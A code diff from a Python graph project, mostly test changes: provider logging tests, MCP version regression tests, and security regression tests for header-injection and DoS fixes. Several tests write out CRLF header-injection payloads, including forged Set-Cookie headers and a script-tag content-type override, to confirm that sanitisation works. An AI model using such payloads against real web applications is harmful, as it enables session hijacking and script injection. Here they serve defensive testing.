@patch("pathlib.Path.exists")
|
||||
@patch("builtins.open", new_callable=mock_open, read_data="name,age\nAlice,30\nBob,25")
|
||||
def test_load_from_csv(self, mock_file, mock_exists):
|
||||
mock_exists.return_value = True
|
||||
|
||||
records = self.manager.load_from_csv("test.csv", entity_type="Person", source_name="test_source")
|
||||
|
||||
def test_load_from_csv(self):
|
||||
with tempfile.TemporaryDirectory() as tmp_dir:
|
||||
csv_file = Path(tmp_dir) / "test.csv"
|
||||
csv_file.write_text("name,age\nAlice,30\nBob,25", encoding="utf-8")
|
||||
|
||||
records = self.manager.load_from_csv(
|
||||
csv_file, entity_type="Person", source_name="test_source"
|
||||
)
|
||||
|
||||
self.assertEqual(len(records), 2)
|
||||
self.assertEqual(records[0]["name"], "Alice")
|
||||
self.assertEqual(records[0]["age"], "30")
|
||||
self.assertEqual(records[0]["entity_type"], "Person")
|
||||
self.assertEqual(records[0]["source"], "test_source")
|
||||
|
||||
mock_file.assert_called_once_with(Path("test.csv"), "r", encoding="utf-8")
|
||||
|
||||
@patch("pathlib.Path.exists")
|
||||
def test_load_from_csv_file_not_found(self, mock_exists):
|
||||
|
||||
@@ -8,6 +8,16 @@ from pydantic import BaseModel
|
||||
|
||||
sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), "../../")))
|
||||
|
||||
# The openai SDK is an optional extra (`pip install semantica[llm-openai]`), not a
|
||||
# dev dependency. Only the tests that spec a mock against the real OpenAI class
|
||||
# need it — the rest of this module must still run without it.
|
||||
try:
|
||||
from openai import OpenAI
|
||||
except ImportError: # pragma: no cover - depends on the installed extras
|
||||
OpenAI = None
|
||||
|
||||
requires_openai = unittest.skipIf(OpenAI is None, "openai SDK not installed")
|
||||
|
||||
|
||||
class TestDeepSeekProviderInit(unittest.TestCase):
|
||||
"""Tests for DeepSeekProvider.__init__ and _init_client after PR #482."""
|
||||
@@ -171,20 +181,9 @@ class TestDeepSeekProviderGenerate(unittest.TestCase):
|
||||
class TestDeepSeekInstructorPath(unittest.TestCase):
|
||||
"""Tests for generate_typed instructor path with DeepSeekProvider (OpenAI client)."""
|
||||
|
||||
def _make_provider(self, api_key="sk-test"):
|
||||
from semantica.semantic_extract.providers import DeepSeekProvider
|
||||
from unittest.mock import MagicMock
|
||||
from openai import OpenAI
|
||||
with patch.object(DeepSeekProvider, "_init_client", return_value=None):
|
||||
provider = DeepSeekProvider(api_key=api_key)
|
||||
# After PR #482, client is an OpenAI instance
|
||||
mock_client = MagicMock(spec=OpenAI)
|
||||
provider.client = mock_client
|
||||
return provider
|
||||
|
||||
@requires_openai
|
||||
def test_generate_typed_instructor_openai_isinstance_check(self):
|
||||
"""After PR #482, client is OpenAI, so instructor path must use from_openai."""
|
||||
from openai import OpenAI
|
||||
from semantica.semantic_extract.providers import DeepSeekProvider
|
||||
with patch.object(DeepSeekProvider, "_init_client", return_value=None):
|
||||
provider = DeepSeekProvider(api_key="sk-test")
|
||||
@@ -228,8 +227,8 @@ class TestVerboseModeAssignment(unittest.TestCase):
|
||||
except Exception:
|
||||
pass # other errors are OK — we only care NameError is gone
|
||||
|
||||
def test_generate_typed_verbose_true_prints(self):
|
||||
"""When verbose=True, generate_typed must print the confirmation line."""
|
||||
def test_generate_typed_verbose_true_logs(self):
|
||||
"""When verbose=True, generate_typed must log the confirmation line."""
|
||||
provider = self._make_openai_provider()
|
||||
|
||||
class Schema(BaseModel):
|
||||
@@ -243,21 +242,21 @@ class TestVerboseModeAssignment(unittest.TestCase):
|
||||
mock_instructor.from_provider.side_effect = Exception("skip")
|
||||
mock_instructor.Mode.TOOLS = "tools"
|
||||
|
||||
import io
|
||||
captured = io.StringIO()
|
||||
with patch("semantica.semantic_extract.providers.instructor", mock_instructor):
|
||||
with patch("sys.stdout", captured):
|
||||
with self.assertLogs(provider.logger.name, level="DEBUG") as captured:
|
||||
try:
|
||||
provider.generate_typed("prompt", Schema, verbose=True)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
output = captured.getvalue()
|
||||
# verbose_mode=True should trigger the print statement
|
||||
self.assertIn("generate_typed", output)
|
||||
# verbose_mode=True should trigger the debug log line
|
||||
self.assertTrue(
|
||||
any("generate_typed" in line for line in captured.output),
|
||||
f"expected a generate_typed debug record, got {captured.output}",
|
||||
)
|
||||
|
||||
def test_generate_typed_verbose_false_no_print(self):
|
||||
"""When verbose=False (default), generate_typed must not print anything."""
|
||||
def test_generate_typed_verbose_false_no_log(self):
|
||||
"""When verbose=False (default), generate_typed must not log the line."""
|
||||
provider = self._make_openai_provider()
|
||||
|
||||
class Schema(BaseModel):
|
||||
@@ -271,16 +270,18 @@ class TestVerboseModeAssignment(unittest.TestCase):
|
||||
mock_instructor.from_provider.side_effect = Exception("skip")
|
||||
mock_instructor.Mode.TOOLS = "tools"
|
||||
|
||||
import io
|
||||
captured = io.StringIO()
|
||||
with patch("semantica.semantic_extract.providers.instructor", mock_instructor):
|
||||
with patch("sys.stdout", captured):
|
||||
with patch.object(provider, "logger") as mock_logger:
|
||||
try:
|
||||
provider.generate_typed("prompt", Schema)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
self.assertEqual(captured.getvalue(), "")
|
||||
debug_calls = [str(c) for c in mock_logger.debug.call_args_list]
|
||||
self.assertFalse(
|
||||
any("generate_typed" in c for c in debug_calls),
|
||||
f"expected no generate_typed debug record, got {debug_calls}",
|
||||
)
|
||||
|
||||
def test_generate_typed_verbose_from_config(self):
|
||||
"""verbose_mode must also respect config-level verbose setting."""
|
||||
@@ -298,25 +299,26 @@ class TestVerboseModeAssignment(unittest.TestCase):
|
||||
mock_instructor.from_provider.side_effect = Exception("skip")
|
||||
mock_instructor.Mode.TOOLS = "tools"
|
||||
|
||||
import io
|
||||
captured = io.StringIO()
|
||||
with patch("semantica.semantic_extract.providers.instructor", mock_instructor):
|
||||
with patch("sys.stdout", captured):
|
||||
with self.assertLogs(provider.logger.name, level="DEBUG") as captured:
|
||||
try:
|
||||
provider.generate_typed("prompt", Schema)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
self.assertIn("generate_typed", captured.getvalue())
|
||||
self.assertTrue(
|
||||
any("generate_typed" in line for line in captured.output),
|
||||
f"expected a generate_typed debug record, got {captured.output}",
|
||||
)
|
||||
|
||||
|
||||
class TestDeepSeekGenerateTypedInstructorIntegration(unittest.TestCase):
|
||||
"""Integration-style tests: DeepSeekProvider.generate_typed with instructor."""
|
||||
|
||||
@requires_openai
|
||||
def test_generate_typed_deepseek_uses_openai_client_for_instructor(self):
|
||||
"""generate_typed instructor path for DeepSeek must reuse the OpenAI client."""
|
||||
from semantica.semantic_extract.providers import DeepSeekProvider
|
||||
from openai import OpenAI
|
||||
|
||||
with patch.object(DeepSeekProvider, "_init_client", return_value=None):
|
||||
provider = DeepSeekProvider(api_key="sk-test")
|
||||
|
||||
@@ -0,0 +1,54 @@
|
||||
"""Regression tests for version reporting in the top-level `mcp` package
|
||||
(issue #863).
|
||||
|
||||
Covers the same stale-version bug as `test_mcp_server_version.py` for the
|
||||
standalone `mcp/` server (run via `python -m mcp.server`), which is a
|
||||
separate implementation from `semantica.mcp_server` and was not covered
|
||||
by that fix. `semantica.__version__` is the authoritative package
|
||||
version (see semantica/mcp_server/__init__.py), so all three surfaces
|
||||
are asserted against it directly.
|
||||
"""
|
||||
|
||||
import json
|
||||
import os
|
||||
import sys
|
||||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), "..")))
|
||||
|
||||
import mcp
|
||||
import semantica
|
||||
from mcp.resources.registry import _read_schema_info
|
||||
from mcp.server import _handle_initialize
|
||||
|
||||
_EXPECTED = semantica.__version__
|
||||
|
||||
|
||||
class TestMCPPackageVersion(unittest.TestCase):
|
||||
def test_package_version_matches_authoritative_source(self):
|
||||
self.assertEqual(mcp.__version__, _EXPECTED)
|
||||
|
||||
def test_package_version_is_not_stale_literal(self):
|
||||
self.assertNotEqual(mcp.__version__, "0.4.0")
|
||||
|
||||
def test_initialize_server_info_version_matches_package(self):
|
||||
response = _handle_initialize(1, {})
|
||||
self.assertEqual(response["result"]["serverInfo"]["version"], _EXPECTED)
|
||||
|
||||
def test_initialize_server_info_version_is_not_stale_literal(self):
|
||||
response = _handle_initialize(1, {})
|
||||
self.assertNotEqual(response["result"]["serverInfo"]["version"], "0.4.0")
|
||||
|
||||
def test_schema_info_resource_version_matches_package(self):
|
||||
resource = _read_schema_info("semantica://schema/info")
|
||||
info = json.loads(resource["text"])
|
||||
self.assertEqual(info["version"], _EXPECTED)
|
||||
|
||||
def test_schema_info_resource_version_is_not_stale_literal(self):
|
||||
resource = _read_schema_info("semantica://schema/info")
|
||||
info = json.loads(resource["text"])
|
||||
self.assertNotEqual(info["version"], "0.4.0")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -1,35 +1,93 @@
|
||||
"""Regression tests for MCP server version reporting."""
|
||||
"""Regression tests for MCP server version reporting (issue #863).
|
||||
|
||||
Both public MCP version surfaces must derive from the same authoritative
|
||||
package version rather than a hardcoded stale literal:
|
||||
1. MCP ``initialize`` → ``serverInfo.version``
|
||||
2. ``semantica://schema/info`` → ``version``
|
||||
|
||||
The authoritative source of truth is ``semantica.__version__``, which is
|
||||
maintained in sync with ``pyproject.toml``'s static ``version`` field by
|
||||
the release process. We assert equality against that value rather than
|
||||
duplicating the version-resolution logic here, so the tests remain valid
|
||||
through future version bumps without modification.
|
||||
|
||||
The ``assertNotEqual(..., "0.4.0")`` canaries guard against regression to
|
||||
the original stale literal that triggered issue #863.
|
||||
"""
|
||||
|
||||
import unittest
|
||||
from importlib.metadata import PackageNotFoundError, version
|
||||
|
||||
import semantica
|
||||
from semantica import mcp_server
|
||||
|
||||
_EXPECTED = semantica.__version__
|
||||
|
||||
|
||||
class TestMCPServerVersion(unittest.TestCase):
|
||||
def test_server_info_uses_distribution_version(self):
|
||||
try:
|
||||
expected = version("semantica")
|
||||
except PackageNotFoundError:
|
||||
expected = semantica.__version__
|
||||
|
||||
self.assertEqual(mcp_server.SERVER_INFO["version"], expected)
|
||||
# ------------------------------------------------------------------ #
|
||||
# SERVER_INFO (used directly in the initialize response)
|
||||
# ------------------------------------------------------------------ #
|
||||
|
||||
def test_initialize_reports_package_version(self):
|
||||
def test_server_info_version_matches_package(self):
|
||||
"""SERVER_INFO['version'] must equal the authoritative package version."""
|
||||
self.assertEqual(mcp_server.SERVER_INFO["version"], _EXPECTED)
|
||||
|
||||
def test_server_info_version_is_not_stale_literal(self):
|
||||
"""Guard: SERVER_INFO must not report the original hardcoded 0.4.0."""
|
||||
self.assertNotEqual(mcp_server.SERVER_INFO["version"], "0.4.0")
|
||||
|
||||
# ------------------------------------------------------------------ #
|
||||
# MCP initialize → serverInfo.version
|
||||
# ------------------------------------------------------------------ #
|
||||
|
||||
def test_initialize_server_info_version_matches_package(self):
|
||||
"""The MCP initialize response must report the authoritative package version."""
|
||||
response = mcp_server._handle(
|
||||
{"jsonrpc": "2.0", "id": 1, "method": "initialize"}
|
||||
)
|
||||
|
||||
self.assertIsNotNone(response)
|
||||
self.assertEqual(
|
||||
response["result"]["serverInfo"]["version"], semantica.__version__
|
||||
response["result"]["serverInfo"]["version"],
|
||||
_EXPECTED,
|
||||
)
|
||||
|
||||
def test_schema_info_resource_reports_package_version(self):
|
||||
resource = mcp_server._read_resource("semantica://schema/info")
|
||||
def test_initialize_server_info_version_is_not_stale_literal(self):
|
||||
"""Guard: initialize must not report the original hardcoded 0.4.0."""
|
||||
response = mcp_server._handle(
|
||||
{"jsonrpc": "2.0", "id": 1, "method": "initialize"}
|
||||
)
|
||||
self.assertNotEqual(response["result"]["serverInfo"]["version"], "0.4.0")
|
||||
|
||||
self.assertEqual(resource["version"], semantica.__version__)
|
||||
# ------------------------------------------------------------------ #
|
||||
# semantica://schema/info → version
|
||||
# ------------------------------------------------------------------ #
|
||||
|
||||
def test_schema_info_resource_version_matches_package(self):
|
||||
"""The semantica://schema/info resource must report the authoritative package version."""
|
||||
resource = mcp_server._read_resource("semantica://schema/info")
|
||||
self.assertEqual(resource["version"], _EXPECTED)
|
||||
|
||||
def test_schema_info_resource_version_is_not_stale_literal(self):
|
||||
"""Guard: schema/info must not report the original hardcoded 0.4.0."""
|
||||
resource = mcp_server._read_resource("semantica://schema/info")
|
||||
self.assertNotEqual(resource["version"], "0.4.0")
|
||||
|
||||
# ------------------------------------------------------------------ #
|
||||
# Both surfaces must agree
|
||||
# ------------------------------------------------------------------ #
|
||||
|
||||
def test_both_version_surfaces_are_identical(self):
|
||||
"""SERVER_INFO and schema/info must report the exact same version string,
|
||||
confirming both surfaces derive from a single authoritative value."""
|
||||
init_response = mcp_server._handle(
|
||||
{"jsonrpc": "2.0", "id": 1, "method": "initialize"}
|
||||
)
|
||||
schema_resource = mcp_server._read_resource("semantica://schema/info")
|
||||
self.assertEqual(
|
||||
init_response["result"]["serverInfo"]["version"],
|
||||
schema_resource["version"],
|
||||
)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
@@ -0,0 +1,408 @@
|
||||
"""
|
||||
Regression tests for security fixes introduced in follow-on to PR #898.
|
||||
|
||||
Covers three vulnerabilities found by security audit:
|
||||
- VULN-1: CWE-113 Header injection via node_id in Content-Disposition
|
||||
- VULN-2: CWE-770 Unbounded memory DoS in /api/enrich/links
|
||||
- VULN-3: CWE-20+113 Stored header injection via unsanitized import node IDs
|
||||
|
||||
All tests are self-contained; no running server required.
|
||||
"""
|
||||
import json
|
||||
import re
|
||||
import pytest
|
||||
|
||||
|
||||
# ===================================================================
|
||||
# Helper: replicate the sanitization functions under test
|
||||
# ===================================================================
|
||||
|
||||
# --- provenance.py ---
|
||||
_UNSAFE_FILENAME_CHARS_PROV = re.compile(r'[\r\n\x00"\\]')
|
||||
_MAX_FILENAME_ID_LEN = 128
|
||||
|
||||
|
||||
def _safe_content_disposition_filename(node_id: str, suffix: str) -> str:
|
||||
sanitized = _UNSAFE_FILENAME_CHARS_PROV.sub("_", str(node_id))[:_MAX_FILENAME_ID_LEN]
|
||||
return f"{sanitized}{suffix}"
|
||||
|
||||
|
||||
# --- export_import.py ---
|
||||
_UNSAFE_ID_CHARS_IMPORT = re.compile(r'[\r\n\x00"\\]')
|
||||
_MAX_IMPORT_NODE_ID_LEN = 512
|
||||
|
||||
|
||||
def _sanitize_import_node_id(raw: object) -> str:
|
||||
cleaned = _UNSAFE_ID_CHARS_IMPORT.sub("_", str(raw).strip())
|
||||
if len(cleaned) > _MAX_IMPORT_NODE_ID_LEN:
|
||||
raise ValueError(f"Node ID exceeds {_MAX_IMPORT_NODE_ID_LEN} chars")
|
||||
return cleaned
|
||||
|
||||
|
||||
# ===================================================================
|
||||
# VULN-1: Header injection via node_id in Content-Disposition
|
||||
# ===================================================================
|
||||
|
||||
class TestVuln1HeaderInjection:
|
||||
"""Regression: CWE-113 — provenance.py lines 332, 344."""
|
||||
|
||||
def _make_header(self, node_id: str, fmt: str = "json") -> str:
|
||||
"""Reproduce the pre-fix vulnerable code path."""
|
||||
suffix = "_provenance.md" if fmt in {"md", "markdown"} else "_provenance.json"
|
||||
return f'attachment; filename="{node_id}{suffix}"'
|
||||
|
||||
def _make_safe_header(self, node_id: str, fmt: str = "json") -> str:
|
||||
"""Post-fix sanitized path."""
|
||||
suffix = "_provenance.md" if fmt in {"md", "markdown"} else "_provenance.json"
|
||||
return f'attachment; filename="{_safe_content_disposition_filename(node_id, suffix)}"'
|
||||
|
||||
# --- Confirm the old code WAS vulnerable ---
|
||||
|
||||
def test_vulnerable_path_crlf(self):
|
||||
"""Without the fix, CRLF injects new headers."""
|
||||
raw = self._make_header('x"\r\nX-Evil: pwned')
|
||||
assert "\r\n" in raw, "Vulnerable: CRLF in header value"
|
||||
assert "X-Evil: pwned" in raw
|
||||
|
||||
def test_vulnerable_path_content_type_override(self):
|
||||
raw = self._make_header('x"\r\nContent-Type: text/html\r\n\r\n<script>')
|
||||
assert "Content-Type: text/html" in raw
|
||||
|
||||
# --- Confirm the fix works ---
|
||||
|
||||
def test_safe_strips_crlf(self):
|
||||
# The sanitizer strips \r, \n, \x00, ", \ -- it does not remove the
|
||||
# surrounding text of an injection attempt, only the characters that
|
||||
# let it split into a new header line. "X-Inject" as a literal
|
||||
# substring surviving is expected and harmless; what matters is that
|
||||
# no \r\n sequence remains to start a new header.
|
||||
safe = self._make_safe_header('evil"\r\nX-Inject: yes')
|
||||
assert "\r" not in safe
|
||||
assert "\n" not in safe
|
||||
|
||||
def test_safe_strips_null_byte(self):
|
||||
safe = self._make_safe_header("node\x00.json")
|
||||
assert "\x00" not in safe
|
||||
|
||||
def test_safe_strips_double_quote(self):
|
||||
safe = self._make_safe_header('node"extra"')
|
||||
assert safe.count('"') == 2 # only the outer quotes from the template
|
||||
|
||||
def test_safe_strips_backslash(self):
|
||||
safe = self._make_safe_header("node\\path")
|
||||
assert "\\" not in safe
|
||||
|
||||
def test_safe_length_cap(self):
|
||||
long_id = "A" * 300
|
||||
safe = _safe_content_disposition_filename(long_id, "_provenance.json")
|
||||
assert len(safe) <= _MAX_FILENAME_ID_LEN + len("_provenance.json")
|
||||
|
||||
def test_safe_normal_id_unchanged(self):
|
||||
safe = _safe_content_disposition_filename("my-node_123.v2", "_provenance.json")
|
||||
assert safe == "my-node_123.v2_provenance.json"
|
||||
|
||||
def test_safe_set_cookie_injection_blocked(self):
|
||||
# As above: the literal word "Set-Cookie" surviving is fine; what
|
||||
# actually blocks the attack is that no \r\n remains to start a new
|
||||
# header line, so this can never be parsed as a second header.
|
||||
payload = 'x"\r\nSet-Cookie: session=HIJACKED; Path=/\r\n\r\n'
|
||||
safe = self._make_safe_header(payload)
|
||||
assert "\r\n" not in safe
|
||||
assert "\r" not in safe
|
||||
assert "\n" not in safe
|
||||
|
||||
def test_safe_markdown_suffix(self):
|
||||
safe = self._make_safe_header("my-node", "md")
|
||||
assert safe.endswith("_provenance.md\"")
|
||||
|
||||
|
||||
# ===================================================================
|
||||
# VULN-2: Unbounded memory DoS in /api/enrich/links
|
||||
# ===================================================================
|
||||
|
||||
class TestVuln2LinkPredictionDos:
|
||||
"""Regression: CWE-770 — enrich.py lines 197-198."""
|
||||
|
||||
def test_constant_values_changed(self):
|
||||
"""The predict_links function must not use the old unbounded limit=999_999."""
|
||||
import ast, pathlib
|
||||
src = pathlib.Path(
|
||||
"semantica/explorer/routes/enrich.py"
|
||||
).read_text(encoding="utf-8")
|
||||
tree = ast.parse(src)
|
||||
# Find the predict_links function and check its body for 999_999 literals
|
||||
for node in ast.walk(tree):
|
||||
if isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef)) and node.name == "predict_links":
|
||||
func_src = ast.get_source_segment(src, node) or ""
|
||||
assert "999_999" not in func_src, (
|
||||
"Old limit=999_999 still present in predict_links — DoS fix not applied"
|
||||
)
|
||||
break
|
||||
else:
|
||||
pytest.fail("predict_links function not found in enrich.py")
|
||||
|
||||
def test_cap_constant_defined(self):
|
||||
"""_LINK_PREDICTION_MAX_NODES must be defined and <= 50_000."""
|
||||
from semantica.explorer.routes.enrich import _LINK_PREDICTION_MAX_NODES
|
||||
assert isinstance(_LINK_PREDICTION_MAX_NODES, int)
|
||||
assert _LINK_PREDICTION_MAX_NODES <= 50_000, (
|
||||
f"Cap {_LINK_PREDICTION_MAX_NODES} is too high — should be <= 50,000"
|
||||
)
|
||||
|
||||
def test_semaphore_defined(self):
|
||||
"""_link_prediction_semaphore must exist."""
|
||||
import asyncio
|
||||
from semantica.explorer.routes.enrich import _link_prediction_semaphore
|
||||
assert isinstance(_link_prediction_semaphore, asyncio.Semaphore)
|
||||
|
||||
def test_memory_scaling_linear(self):
|
||||
"""Confirm memory per node is bounded (basis for the extrapolation)."""
|
||||
import tracemalloc
|
||||
tracemalloc.start()
|
||||
nodes = [
|
||||
{"id": f"node_{i}", "type": "entity", "embedding": [0.1] * 128}
|
||||
for i in range(10_000)
|
||||
]
|
||||
_, peak = tracemalloc.get_traced_memory()
|
||||
tracemalloc.stop()
|
||||
peak_mb = peak / 1024 / 1024
|
||||
# At 10k nodes with 128-dim embeddings peak should be < 50 MB in-process
|
||||
assert peak_mb < 50, f"Memory at 10k nodes = {peak_mb:.1f} MB — unexpectedly high"
|
||||
|
||||
|
||||
# ===================================================================
|
||||
# VULN-3: Unsanitized import node ID → stored header injection
|
||||
# ===================================================================
|
||||
|
||||
class TestVuln3ImportNodeIdSanitization:
|
||||
"""Regression: CWE-20+113 — export_import.py lines 111, 203."""
|
||||
|
||||
# --- The sanitizer itself ---
|
||||
|
||||
def test_strips_crlf(self):
|
||||
assert "\r" not in _sanitize_import_node_id("evil\r\nX-Inject: yes")
|
||||
assert "\n" not in _sanitize_import_node_id("evil\r\nX-Inject: yes")
|
||||
|
||||
def test_strips_null_byte(self):
|
||||
result = _sanitize_import_node_id("node\x00.json")
|
||||
assert "\x00" not in result
|
||||
|
||||
def test_strips_double_quote(self):
|
||||
result = _sanitize_import_node_id('node"extra"')
|
||||
assert '"' not in result
|
||||
|
||||
def test_strips_backslash(self):
|
||||
result = _sanitize_import_node_id("node\\path")
|
||||
assert "\\" not in result
|
||||
|
||||
def test_normal_id_unchanged(self):
|
||||
assert _sanitize_import_node_id("my-node_123") == "my-node_123"
|
||||
|
||||
def test_length_cap_raises(self):
|
||||
with pytest.raises((ValueError, Exception)):
|
||||
_sanitize_import_node_id("A" * 600)
|
||||
|
||||
def test_set_cookie_payload_sanitized(self):
|
||||
# The sanitizer strips \r, \n, \x00, ", \ -- not letters, so the word
|
||||
# "Set-Cookie" surviving is fine. What matters for CWE-113 is that no
|
||||
# \r\n sequence remains to split the header.
|
||||
bad = 'evil"\r\nSet-Cookie: session=HIJACKED; Path=/'
|
||||
result = _sanitize_import_node_id(bad)
|
||||
assert "\r\n" not in result
|
||||
assert "\r" not in result
|
||||
assert "\n" not in result
|
||||
|
||||
def test_content_type_payload_sanitized(self):
|
||||
bad = 'x"\r\nContent-Type: text/html\r\n\r\n<script>alert(1)</script>'
|
||||
result = _sanitize_import_node_id(bad)
|
||||
assert "\r\n" not in result
|
||||
assert "\r" not in result
|
||||
assert "\n" not in result
|
||||
|
||||
# --- End-to-end: sanitized ID cannot trigger header injection ---
|
||||
|
||||
def test_chain_sanitized_id_cannot_inject(self):
|
||||
"""After sanitization, stored ID must not split Content-Disposition."""
|
||||
bad_id = 'evil"\r\nSet-Cookie: session=HIJACKED'
|
||||
stored_id = _sanitize_import_node_id(bad_id)
|
||||
# Simulate provenance report header construction
|
||||
header = _safe_content_disposition_filename(stored_id, "_provenance.json")
|
||||
assert "\r\n" not in header
|
||||
assert "\r" not in header
|
||||
assert "\n" not in header
|
||||
|
||||
def test_import_sanitizer_applied_json(self):
|
||||
"""_sanitize_import_node_id must be called in the JSON import path."""
|
||||
import ast, pathlib
|
||||
src = pathlib.Path(
|
||||
"semantica/explorer/routes/export_import.py"
|
||||
).read_text(encoding="utf-8")
|
||||
assert "_sanitize_import_node_id" in src
|
||||
# Must appear at least twice: JSON path + CSV path
|
||||
assert src.count("_sanitize_import_node_id") >= 2, (
|
||||
"Sanitizer only applied in one import path — CSV or JSON path is still vulnerable"
|
||||
)
|
||||
|
||||
def test_import_sanitizer_applied_csv(self):
|
||||
"""The CSV import path must also call _sanitize_import_node_id."""
|
||||
import pathlib
|
||||
src = pathlib.Path(
|
||||
"semantica/explorer/routes/export_import.py"
|
||||
).read_text(encoding="utf-8")
|
||||
# Find both occurrences with their surrounding context
|
||||
lines = src.splitlines()
|
||||
sanitizer_lines = [i for i, l in enumerate(lines) if "_sanitize_import_node_id" in l]
|
||||
assert len(sanitizer_lines) >= 2, (
|
||||
f"Expected >= 2 calls to _sanitize_import_node_id, found {len(sanitizer_lines)}"
|
||||
)
|
||||
|
||||
|
||||
# ===================================================================
|
||||
# VULN-3 bypass fix: the `"properties" in raw_node` fast path in the JSON
|
||||
# import loop stored the id verbatim, completely skipping
|
||||
# _sanitize_import_node_id(). Exercised end-to-end via the real FastAPI
|
||||
# route (not the standalone sanitizer copy above) since that's exactly how
|
||||
# the bypass went unnoticed by the original test suite in this PR.
|
||||
# ===================================================================
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def _real_client(monkeypatch):
|
||||
pytest.importorskip("starlette")
|
||||
# These tests exercise route logic, not the API-key auth layer (see
|
||||
# tests/explorer/conftest.py, which does the same for that directory).
|
||||
monkeypatch.setenv("SEMANTICA_ALLOW_ANONYMOUS", "true")
|
||||
monkeypatch.delenv("SEMANTICA_API_KEY", raising=False)
|
||||
from starlette.testclient import TestClient
|
||||
from semantica.context.context_graph import ContextGraph
|
||||
from semantica.explorer.app import create_app
|
||||
from semantica.explorer.session import GraphSession
|
||||
|
||||
session = GraphSession(ContextGraph(advanced_analytics=False))
|
||||
app = create_app(session=session)
|
||||
with TestClient(app) as test_client:
|
||||
yield test_client
|
||||
|
||||
|
||||
class TestVuln3PropertiesBypassFix:
|
||||
"""Regression: export_import.py's `"properties" in raw_node` fast path."""
|
||||
|
||||
def test_properties_shaped_node_id_is_sanitized(self, _real_client):
|
||||
"""A node object carrying its own "properties" key -- the shape this
|
||||
app's own /api/export produces, and what
|
||||
test_import_json_with_edge_metadata in test_explorer_api.py already
|
||||
uses -- must still have its id sanitized on import."""
|
||||
malicious_id = 'evil"\r\nSet-Cookie: session=HIJACKED; Path=/'
|
||||
payload = json.dumps(
|
||||
{"nodes": [{"id": malicious_id, "type": "entity", "properties": {"content": "pwned"}}]}
|
||||
)
|
||||
response = _real_client.post(
|
||||
"/api/import",
|
||||
files={"file": ("evil.json", payload, "application/json")},
|
||||
)
|
||||
assert response.status_code == 200
|
||||
assert response.json()["nodes_added"] == 1
|
||||
|
||||
expected_id = _sanitize_import_node_id(malicious_id)
|
||||
assert "\r" not in expected_id and "\n" not in expected_id
|
||||
|
||||
listing = _real_client.get("/api/graph/nodes", params={"limit": 100})
|
||||
ids = {n["id"] for n in listing.json()["nodes"]}
|
||||
assert malicious_id not in ids, "Raw malicious id was stored verbatim -- bypass not fixed"
|
||||
assert expected_id in ids, "Sanitized id was not what got stored"
|
||||
|
||||
def test_properties_bypass_blocks_header_injection_e2e(self, _real_client):
|
||||
"""Full chain: import a "properties"-shaped node with a CRLF id, then
|
||||
request its provenance report and confirm no header injection."""
|
||||
malicious_id = 'evil"\r\nContent-Type: text/html\r\nX-Evil: pwned'
|
||||
payload = json.dumps({"nodes": [{"id": malicious_id, "type": "entity", "properties": {}}]})
|
||||
response = _real_client.post(
|
||||
"/api/import",
|
||||
files={"file": ("evil.json", payload, "application/json")},
|
||||
)
|
||||
assert response.status_code == 200
|
||||
|
||||
expected_id = _sanitize_import_node_id(malicious_id)
|
||||
report = _real_client.get(
|
||||
"/api/provenance/report", params={"node_id": expected_id, "format": "json"}
|
||||
)
|
||||
assert report.status_code == 200
|
||||
disposition = report.headers.get("content-disposition", "")
|
||||
# No \r or \n surviving is the necessary and sufficient condition for
|
||||
# blocking header injection -- the sanitizer strips those characters
|
||||
# but not letters, so "X-Evil"/"Content-Type" as literal substrings
|
||||
# surviving is expected and harmless.
|
||||
assert "\r\n" not in disposition
|
||||
assert "\r" not in disposition
|
||||
assert "\n" not in disposition
|
||||
# And confirm no attacker-controlled header actually landed as a
|
||||
# distinct response header (would only happen if splitting occurred).
|
||||
assert "x-evil" not in report.headers
|
||||
assert report.headers.get("content-type", "").startswith("application/json")
|
||||
|
||||
|
||||
# ===================================================================
|
||||
# VULN-2 fix follow-up: the 10k/50k cap must be enforced BEFORE the
|
||||
# expensive get_nodes()/get_edges() calls, not after. paginate_nodes()/
|
||||
# paginate_edges() normalize the *entire* matching set before applying
|
||||
# `limit`, so checking `total` only after calling them still pays the full
|
||||
# O(graph size) cost the cap exists to avoid.
|
||||
# ===================================================================
|
||||
|
||||
|
||||
class TestVuln2CapEnforcedBeforeExpensiveWork:
|
||||
def test_get_raw_counts_matches_graph(self):
|
||||
from semantica.context.context_graph import ContextGraph
|
||||
from semantica.explorer.session import GraphSession
|
||||
|
||||
graph = ContextGraph(advanced_analytics=False)
|
||||
graph.add_node("a", node_type="entity", content="A")
|
||||
graph.add_node("b", node_type="entity", content="B")
|
||||
graph.add_edge("a", "b", edge_type="related_to")
|
||||
session = GraphSession(graph)
|
||||
|
||||
total_nodes, total_edges = session.get_raw_counts()
|
||||
assert total_nodes == 2
|
||||
assert total_edges == 1
|
||||
|
||||
def test_predict_links_checks_raw_counts_before_get_nodes(self):
|
||||
import pathlib
|
||||
|
||||
src = pathlib.Path("semantica/explorer/routes/enrich.py").read_text(encoding="utf-8")
|
||||
raw_counts_pos = src.index("session.get_raw_counts")
|
||||
get_nodes_pos = src.index("session.get_nodes,")
|
||||
assert raw_counts_pos < get_nodes_pos, (
|
||||
"get_raw_counts() must run before get_nodes() so the cap is enforced "
|
||||
"before paying the full O(graph size) normalization cost"
|
||||
)
|
||||
|
||||
def test_predict_links_rejects_oversized_graph_e2e(self, monkeypatch):
|
||||
"""Exercise the real route: with the cap patched low, an oversized
|
||||
graph must 413 instead of scoring the full candidate pool."""
|
||||
pytest.importorskip("starlette")
|
||||
monkeypatch.setenv("SEMANTICA_ALLOW_ANONYMOUS", "true")
|
||||
monkeypatch.delenv("SEMANTICA_API_KEY", raising=False)
|
||||
from starlette.testclient import TestClient
|
||||
from semantica.context.context_graph import ContextGraph
|
||||
from semantica.explorer.app import create_app
|
||||
from semantica.explorer.session import GraphSession
|
||||
import semantica.explorer.routes.enrich as enrich_module
|
||||
|
||||
graph = ContextGraph(advanced_analytics=False)
|
||||
for i in range(5):
|
||||
